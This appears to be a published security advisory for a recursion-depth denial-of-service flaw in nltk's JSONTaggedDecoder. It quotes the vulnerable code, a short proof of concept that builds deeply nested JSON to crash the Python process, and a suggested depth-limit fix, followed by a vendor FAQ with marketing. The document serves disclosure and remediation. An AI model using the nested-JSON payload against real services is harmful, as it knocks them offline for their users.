GHSA-RF74-V2FM-23PW

JSONTaggedDecoder.decode_obj() in nltk/jsontags.py calls itself
recursively without any depth limit. A deeply nested JSON structure
exceeding sys.getrecursionlimit() (default: 1000) will raise an
unhandled RecursionError, crashing the Python process.

Affected code

File: nltk/jsontags.py, lines 47–52

@classmethod
def decode_obj(cls, obj):
    if isinstance(obj, dict):
        obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}
    elif isinstance(obj, list):
        obj = list(cls.decode_obj(val) for val in obj)

Proof of Concept

import sys, json
from nltk.jsontags import JSONTaggedDecoder

depth = sys.getrecursionlimit() + 50  # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth

# Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)

Any code path that passes externally-supplied JSON to
JSONTaggedDecoder is vulnerable to denial of service.
The severity depends on whether such a path exists in the
calling code (e.g. nltk/data.py).

Kodem intelligence

Add a depth parameter with a hard limit:

@classmethod
def decode_obj(cls, obj, _depth=0):
    if _depth > 100:
        raise ValueError("JSON nesting too deep")
    if isinstance(obj, dict):
        obj = {key: cls.decode_obj(val, _depth + 1) 
               for (key, val) in obj.items()}
    elif isinstance(obj, list):
        obj = list(cls.decode_obj(val, _depth + 1) for val in obj)

1. What is GHSA-RF74-V2FM-23PW? GHSA-RF74-V2FM-23PW is a medium-severity security vulnerability in nltk (pip), affecting versions <= 3.9.3. No fixed version is listed yet.
2. Which versions of nltk are affected by GHSA-RF74-V2FM-23PW? nltk (pip) versions <= 3.9.3 is affected.
3. Is there a fix for GHSA-RF74-V2FM-23PW? No fixed version is listed for GHSA-RF74-V2FM-23PW yet. Monitor the advisory for updates and apply mitigations in the interim.
4. Is GHSA-RF74-V2FM-23PW exploitable, and should I be worried? Whether GHSA-RF74-V2FM-23PW is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether GHSA-RF74-V2FM-23PW is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.